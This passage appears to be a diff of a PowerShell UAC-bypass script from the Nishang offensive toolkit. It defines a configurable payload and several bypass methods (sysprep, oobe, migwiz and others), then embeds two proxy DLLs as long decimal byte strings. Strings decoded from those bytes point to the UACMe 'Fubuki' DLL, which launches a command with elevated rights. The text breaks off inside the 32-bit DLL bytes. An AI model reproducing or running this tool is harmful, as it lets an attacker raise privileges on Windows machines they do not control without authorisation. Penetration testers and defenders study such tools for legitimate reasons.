+http://www.labofapenetrationtester.com/2015/09/bypassing-uac-with-powershell.html +https://github.com/samratashok/nishang +#> + + + [CmdletBinding()] Param( + + [Parameter(Position = 0, Mandatory = $False)] + [String] + $Payload = 'powershell.exe -noexit -c "if ([bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match ''S-1-5-32-544'')) {Write-Output ''You have elevated/Administrator rights!''}"', + + [Parameter(Position = 1, Mandatory = $False)] + [ValidateSet("sysprep","oobe","ActionQueue","migwiz","cliconfg","winsat","mmc")] + [String] + $method = "sysprep", + + [Parameter(Position = 2, Mandatory = $False)] + [String] + $PayloadPath = "C:\Windows\temp\cmd.bat", + + [Parameter(Position = 3, Mandatory = $False)] + [String] + $CustomDll64, + + [Parameter(Position = 4, Mandatory = $False)] + [String] + $CustomDll32, + + [Parameter(Position = 5, Mandatory = $False)] + [String] + $DllBytes64 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 232 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 53 114 7 185 113 19 105 234 113 19 105 234 113 19 105 234 172 236 162 234 116 19 105 234 113 19 104 234 124 19 105 234 131 74 97 235 123 19 105 234 131 74 105 235 112 19 105 234 131 74 150 234 112 19 105 234 113 19 254 234 112 19 105 234 131 74 107 235 112 19 105 234 82 105 99 104 113 19 105 234 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 100 134 4 0 250 130 9 86 0 0 0 0 0 0 0 0 240 0 34 32 11 2 14 0 0 4 0 0 0 16 0 0 0 0 0 0 168 17 0 0 0 16 0 0 0 0 0 128 1 0 0 0 0 16 0 0 0 2 0 0 6 0 0 0 6 0 0 0 6 0 0 0 0 0 0 0 0 80 0 0 0 4 0 0 19 147 0 0 2 0 96 1 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 16 0 0 0 176 34 0 0 148 3 0 0 68 38 0 0 60 0 0 0 0 64 0 0 224 4 0 0 0 48 0 0 24 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 33 0 0 56 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 120 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 52 3 0 0 0 16 0 0 0 4 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 242 7 0 0 0 32 0 0 0 8 0 0 0 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 112 100 97 116 97 0 0 24 0 0 0 0 48 0 0 0 2 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 4 0 0 0 64 0 0 0 6 0 0 0 18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 194 0 0 204 72 137 92 36 24 85 86 87 72 141 108 36 185 72 129 236 224 0 0 0 51 246 72 141 69 111 72 33 117 111 72 141 21 87 16 0 0 33 117 103 65 185 25 0 2 0 69 51 192 72 137 68 36 32 72 199 193 1 0 0 128 255 21 193 15 0 0 133 192 15 133 67 1 0 0 72 139 77 111 72 133 201 15 132 54 1 0 0 72 141 69 103 69 51 201 72 137 68 36 40 72 141 21 49 16 0 0 72 33 116 36 32 69 51 192 255 21 147 15 0 0 133 192 15 133 13 1 0 0 139 125 103 255 199 255 21 208 15 0 0 68 139 199 141 86 8 72 139 200 255 21 137 15 0 0 72 139 216 72 133 192 15 132 231 0 0 0 72 139 77 111 72 141 69 103 72 137 68 36 40 72 141 21 225 15 0 0 69 51 201 72 137 92 36 32 69 51 192 255 21 64 15 0 0 133 192 15 133 136 0 0 0 72 141 13 217 15 0 0 255 21 99 15 0 0 72 139 203 255 21 90 15 0 0 141 86 104 51 192 139 202 72 141 125 215 243 170 72 141 125 183 137 85 215 141 78 24 243 170 72 141 77 215 255 21 87 15 0 0 72 141 69 183 69 51 201 72 137 68 36 72 69 51 192 72 141 69 215 72 139 211 72 137 68 36 64 51 201 72 33 116 36 56 72 33 116 36 48 33 116 36 40 33 116 36 32 255 21 250 14 0 0 139 240 133 192 116 20 72 139 77 183 255 21 226 14 0 0 72 139 77 191 255 21 216 14 0 0 255 21 250 14 0 0 76 139 195 51 210 72 139 200 255 21 228 14 0 0 72 139 77 111 255 21 154 14 0 0 72 141 21 251 14 0 0 72 199 193 1 0 0 128 255 21 110 14 0 0 139 198 72 139 156 36 16 1 0 0 72 129 196 224 0 0 0 95 94 93 195 204 72 137 92 36 8 72 137 124 36 16 85 72 141 172 36 0 250 255 255 72 129 236 0 7 0 0 184 1 0 0 0 59 208 15 133 80 1 0 0 72 141 13 10 15 0 0 255 21 108 14 0 0 232 35 254 255 255 51 219 133 192 15 133 43 1 0 0 141 83 104 139 202 72 141 124 36 112 243 170 72 141 124 36 80 137 84 36 112 141 75 24 243 170 72 141 76 36 112 255 21 88 14 0 0 51 192 72 141 125 224 185 10 2 0 0 72 141 85 224 243 170 72 141 13 240 14 0 0 65 184 4 1 0 0 255 21 28 14 0 0 255 200 61 2 1 0 0 15 135 213 0 0 0 51 192 72 141 189 240 1 0 0 185 16 4 0 0 243 170 15 183 77 224 72 141 133 240 1 0 0 102 133 201 116 30 72 141 85 224 72 141 189 240 1 0 0 72 43 215 102 137 8 72 131 192 2 15 183 12 2 102 133 201 117 240 102 137 24 72 141 133 240 1 0 0 102 57 157 240 1 0 0 116 9 72 131 192 2 102 57 24 117 247 72 141 13 158 14 0 0 186 99 0 0 0 72 43 200 102 137 16 72 141 64 2 15 183 20 1 102 133 210 117 240 102 137 24 72 141 141 240 1 0 0 72 141 68 36 80 69 51 201 72 137 68 36 72 69 51 192 72 141 68 36 112 51 210 72 137 68 36 64 72 141 69 224 72 137 68 36 56 72 137 92 36 48 137 92 36 40 137 92 36 32 255 21 68 13 0 0 133 192 116 22 72 139 76 36 80 255 21 45 13 0 0 72 139 76 36 88 255 21 34 13 0 0 51 201 255 21 18 13 0 0 204 76 141 156 36 0 7 0 0 73 139 91 16 73 139 123 24 73 139 227 93 195 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 39 0 0 0 0 0 0 182 39 0 0 0 0 0 0 162 39 0 0 0 0 0 0 214 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 86 39 0 0 0 0 0 0 98 39 0 0 0 0 0 0 72 39 0 0 0 0 0 0 130 39 0 0 0 0 0 0 50 39 0 0 0 0 0 0 22 39 0 0 0 0 0 0 10 39 0 0 0 0 0 0 112 39 0 0 0 0 0 0 248 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 111 0 102 0 116 0 119 0 97 0 114 0 101 0 92 0 65 0 107 0 97 0 103 0 105 0 0 0 0 0 76 0 111 0 118 0 101 0 76 0 101 0 116 0 116 0 101 0 114 0 0 0 0 0 65 0 107 0 97 0 103 0 105 0 32 0 108 0 101 0 116 0 116 0 101 0 114 0 32 0 102 0 111 0 117 0 110 0 100 0 0 0 0 0 70 0 117 0 98 0 117 0 107 0 105 0 32 0 97 0 116 0 32 0 121 0 111 0 117 0 114 0 32 0 115 0 101 0 114 0 118 0 105 0 99 0 101 0 46 0 13 0 10 0 0 0 0 0 0 0 37 0 115 0 121 0 115 0 116 0 101 0 109 0 114 0 111 0 111 0 116 0 37 0 92 0 116 0 101 0 109 0 112 0 92 0 0 0 0 0 99 0 109 0 100 0 46 0 98 0 97 0 116 0 0 0 0 0 0 0 250 130 9 86 0 0 0 0 13 0 0 0 252 0 0 0 136 33 0 0 136 9 0 0 0 0 0 0 250 130 9 86 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 71 67 84 76 0 16 0 0 52 3 0 0 46 116 101 120 116 36 109 110 0 0 0 0 0 32 0 0 120 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 128 32 0 0 8 1 0 0 46 114 100 97 116 97 0 0 136 33 0 0 252 0 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 132 34 0 0 40 0 0 0 46 120 100 97 116 97 0 0 176 34 0 0 148 3 0 0 46 101 100 97 116 97 0 0 68 38 0 0 40 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 108 38 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 128 38 0 0 120 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 248 38 0 0 250 0 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 24 0 0 0 46 112 100 97 116 97 0 0 0 64 0 0 160 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 160 64 0 0 64 4 0 0 46 114 115 114 99 36 48 50 0 0 0 0 1 20 7 0 20 52 34 0 20 1 28 0 8 112 7 96 6 80 0 0 1 26 7 0 26 116 227 0 26 52 226 0 26 1 224 0 11 80 0 0 0 0 0 0 0 0 0 0 250 130 9 86 0 0 0 0 240 35 0 0 1 0 0 0 28 0 0 0 28 0 0 0 216 34 0 0 72 35 0 0 184 35 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 0 16 0 0 253 35 0 0 20 36 0 0 42 36 0 0 52 36 0 0 62 36 0 0 89 36 0 0 117 36 0 0 144 36 0 0 163 36 0 0 184 36 0 0 202 36 0 0 222 36 0 0 243 36 0 0 15 37 0 0 34 37 0 0 58 37 0 0 77 37 0 0 104 37 0 0 124 37 0 0 145 37 0 0 172 37 0 0 198 37 0 0 210 37 0 0 232 37 0 0 246 37 0 0 17 38 0 0 35 38 0 0 55 38 0 0 0 0 1 0 2 0 3 0 4 0 5 0 6 0 7 0 8 0 9 0 10 0 11 0 12 0 13 0 14 0 15 0 16 0 17 0 18 0 19 0 20 0 21 0 22 0 23 0 24 0 25 0 26 0 27 0 70 117 98 117 107 105 54 52 46 100 108 108 0 67 97 108 108 78 116 80 111 119 101 114 73 110 102 111 114 109 97 116 105 111 110 0 67 111 110 115 116 114 117 99 116 80 97 114 116 105 97 108 77 115 103 86 87 0 67 114 101 97 116 101 85 114 105 0 67 117 114 114 101 110 116 73 80 0 68 101 118 79 98 106 67 114 101 97 116 101 68 101 118 105 99 101 73 110 102 111 76 105 115 116 0 68 101 118 79 98 106 68 101 115 116 114 111 121 68 101 118 105 99 101 73 110 102 111 76 105 115 116 0 68 101 118 79 98 106 69 110 117 109 68 101 118 105 99 101 73 110 116 101 114 102 97 99 101 115 0 68 101 118 79 98 106 71 101 116 67 108 97 115 115 68 101 118 115 0 68 101 118 79 98 106 79 112 101 110 68 101 118 105 99 101 73 110 102 111 0 68 108 108 82 101 103 105 115 116 101 114 83 101 114 118 101 114 0 71 101 110 101 114 97 116 101 65 99 116 105 111 110 81 117 101 117 101 0 80 111 119 101 114 71 101 116 65 99 116 105 118 101 83 99 104 101 109 101 0 80 114 105 118 97 116 101 67 111 73 110 116 101 114 110 101 116 67 111 109 98 105 110 101 85 114 105 0 80 114 111 99 101 115 115 65 99 116 105 111 110 81 117 101 117 101 0 83 76 71 101 116 87 105 110 100 111 119 115 73 110 102 111 114 109 97 116 105 111 110 0 87 100 115 65 98 111 114 116 66 108 97 99 107 98 111 97 114 100 0 87 100 115 65 98 111 114 116 66 108 97 99 107 98 111 97 114 100 73 116 101 109 69 110 117 109 0 87 100 115 67 114 101 97 116 101 66 108 97 99 107 98 111 97 114 100 0 87 100 115 68 101 115 116 114 111 121 66 108 97 99 107 98 111 97 114 100 0 87 100 115 69 110 117 109 70 105 114 115 116 66 108 97 99 107 98 111 97 114 100 73 116 101 109 0 87 100 115 69 110 117 109 78 101 120 116 66 108 97 99 107 98 111 97 114 100 73 116 101 109 0 87 100 115 70 114 101 101 68 97 116 97 0 87 100 115 71 101 116 66 108 97 99 107 98 111 97 114 100 86 97 108 117 101 0 87 100 115 73 110 105 116 105 97 108 105 122 101 0 87 100 115 73 115 68 105 97 103 110 111 115 116 105 99 77 111 100 101 69 110 97 98 108 101 100 0 87 100 115 83 101 116 65 115 115 101 114 116 70 108 97 103 115 0 87 100 115 83 101 116 117 112 76 111 103 77 101 115 115 97 103 101 87 0 87 100 115 84 101 114 109 105 110 97 116 101 0 168 38 0 0 0 0 0 0 0 0 0 0 148 39 0 0 40 32 0 0 128 38 0 0 0 0 0 0 0 0 0 0 228 39 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 39 0 0 0 0 0 0 182 39 0 0 0 0 0 0 162 39 0 0 0 0 0 0 214 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 86 39 0 0 0 0 0 0 98 39 0 0 0 0 0 0 72 39 0 0 0 0 0 0 130 39 0 0 0 0 0 0 50 39 0 0 0 0 0 0 22 39 0 0 0 0 0 0 10 39 0 0 0 0 0 0 112 39 0 0 0 0 0 0 248 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 197 2 71 101 116 83 116 97 114 116 117 112 73 110 102 111 87 0 60 3 72 101 97 112 70 114 101 101 0 0 91 1 69 120 112 97 110 100 69 110 118 105 114 111 110 109 101 110 116 83 116 114 105 110 103 115 87 0 253 3 79 117 116 112 117 116 68 101 98 117 103 83 116 114 105 110 103 87 0 0 127 0 67 108 111 115 101 72 97 110 100 108 101 0 56 3 72 101 97 112 65 108 108 111 99 0 87 1 69 120 105 116 80 114 111 99 101 115 115 0 169 2 71 101 116 80 114 111 99 101 115 115 72 101 97 112 0 0 219 0 67 114 101 97 116 101 80 114 111 99 101 115 115 87 0 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 146 2 82 101 103 81 117 101 114 121 86 97 108 117 101 69 120 87 0 0 133 2 82 101 103 79 112 101 110 75 101 121 69 120 87 0 104 2 82 101 103 68 101 108 101 116 101 75 101 121 87 0 84 2 82 101 103 67 108 111 115 101 75 101 121 0 65 68 86 65 80 73 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 16 0 0 167 17 0 0 132 34 0 0 168 17 0 0 52 19 0 0 152 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 16 0 0 0 32 0 0 128 24 0 0 0 56 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 80 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 104 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 144 0 0 0 160 64 0 0 192 2 0 0 0 0 0 0 0 0 0 0 96 67 0 0 125 1 0 0 0 0 0 0 0 0 0 0 192 2 52 0 0 0 86 0 83 0 95 0 86 0 69 0 82 0 83 0 73 0 79 0 78 0 95 0 73 0 78 0 70 0 79 0 0 0 0 0 189 4 239 254 0 0 1 0 9 0 1 0 0 0 0 0 9 0 1 0 0 0 0 0 63 0 0 0 0 0 0 0 0 0 4 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 2 0 0 1 0 83 0 116 0 114 0 105 0 110 0 103 0 70 0 105 0 108 0 101 0 73 0 110 0 102 0 111 0 0 0 252 1 0 0 1 0 48 0 52 0 48 0 57 0 48 0 52 0 98 0 48 0 0 0 50 0 9 0 1 0 67 0 111 0 109 0 112 0 97 0 110 0 121 0 78 0 97 0 109 0 101 0 0 0 0 0 85 0 71 0 32 0 78 0 111 0 114 0 116 0 104 0 0 0 0 0 72 0 16 0 1 0 70 0 105 0 108 0 101 0 68 0 101 0 115 0 99 0 114 0 105 0 112 0 116 0 105 0 111 0 110 0 0 0 0 0 85 0 65 0 67 0 77 0 101 0 32 0 112 0 114 0 111 0 120 0 121 0 32 0 68 0 76 0 76 0 0 0 48 0 8 0 1 0 70 0 105 0 108 0 101 0 86 0 101 0 114 0 115 0 105 0 111 0 110 0 0 0 0 0 49 0 46 0 57 0 46 0 48 0 46 0 48 0 0 0 46 0 7 0 1 0 73 0 110 0 116 0 101 0 114 0 110 0 97 0 108 0 78 0 97 0 109 0 101 0 0 0 70 0 117 0 98 0 117 0 107 0 105 0 0 0 0 0 104 0 34 0 1 0 76 0 101 0 103 0 97 0 108 0 67 0 111 0 112 0 121 0 114 0 105 0 103 0 104 0 116 0 0 0 67 0 111 0 112 0 121 0 114 0 105 0 103 0 104 0 116 0 32 0 40 0 67 0 41 0 32 0 50 0 48 0 49 0 52 0 32 0 45 0 50 0 48 0 49 0 53 0 32 0 85 0 71 0 32 0 78 0 111 0 114 0 116 0 104 0 0 0 62 0 11 0 1 0 79 0 114 0 105 0 103 0 105 0 110 0 97 0 108 0 70 0 105 0 108 0 101 0 110 0 97 0 109 0 101 0 0 0 70 0 117 0 98 0 117 0 107 0 105 0 46 0 100 0 108 0 108 0 0 0 0 0 44 0 6 0 1 0 80 0 114 0 111 0 100 0 117 0 99 0 116 0 78 0 97 0 109 0 101 0 0 0 0 0 85 0 65 0 67 0 77 0 101 0 0 0 52 0 8 0 1 0 80 0 114 0 111 0 100 0 117 0 99 0 116 0 86 0 101 0 114 0 115 0 105 0 111 0 110 0 0 0 49 0 46 0 57 0 46 0 48 0 46 0 48 0 0 0 68 0 0 0 1 0 86 0 97 0 114 0 70 0 105 0 108 0 101 0 73 0 110 0 102 0 111 0 0 0 0 0 36 0 4 0 0 0 84 0 114 0 97 0 110 0 115 0 108 0 97 0 116 0 105 0 111 0 110 0 0 0 0 0 9 4 176 4 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0", + + [Parameter(Position = 6, Mandatory = $False)] + [String] + $DllBytes32 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 232 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 53 114 7 185 113 19 105 234 113 19 105 234 113 19 105 234 172 236 162 234 116 19 105 234 113 19 104 234 124 19 105 234 131 74 97 235 123 19 105 234 131 74 105 235 112 19 105 234 131 74 150 234 112 19 105 234 113 19 254 234 112 19 105 234 131 74 107 235 112 19 105 234 82 105 99 104 113 19 105 234 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 76 1 4 0 4 49 10 86 0 0 0 0 0 0 0 0 224 0 2 33 11 1 14 0 0 4 0 0 0 16 0 0 0 0 0 0 46 17 0 0 0 16 0 0 0 32 0 0 0 0 0 16 0 16 0 0 0 2 0 0 6 0 0 0 6 0 0 0 6 0 0 0 0 0 0 0 0 80 0 0 0 4 0 0 162 232 0 0 2 0 64 5 0 0 16 0 0 16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 80 33 0 0 148 3 0 0 192 37 0 0 60 0 0 0 0 48 0 0 224 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 60 0 0 0 16 33 0 0 56 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 60 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 137 2 0 0 0 16 0 0 0 4 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 50 7 0 0 0 32 0 0 0 8 0 0 0 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 4 0 0 0 48 0 0 0 6 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 60 0 0 0 0 64 0 0 0 2 0 0 0 22 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 195 85 139 236 131 236 92 83 87 141 69 252 51 219 80 104 25 0 2 0 83 104 64 32 0 16 104 1 0 0 128 139 251 137 93 252 137 93 248 255 21 4 32 0 16 133 192 15 133 241 0 0 0 57 93 252 15 132 232 0 0 0 86 139 53 8 32 0 16 141 69 248 80 83 83 83 104 96 32 0 16 255 117 252 255 214 133 192 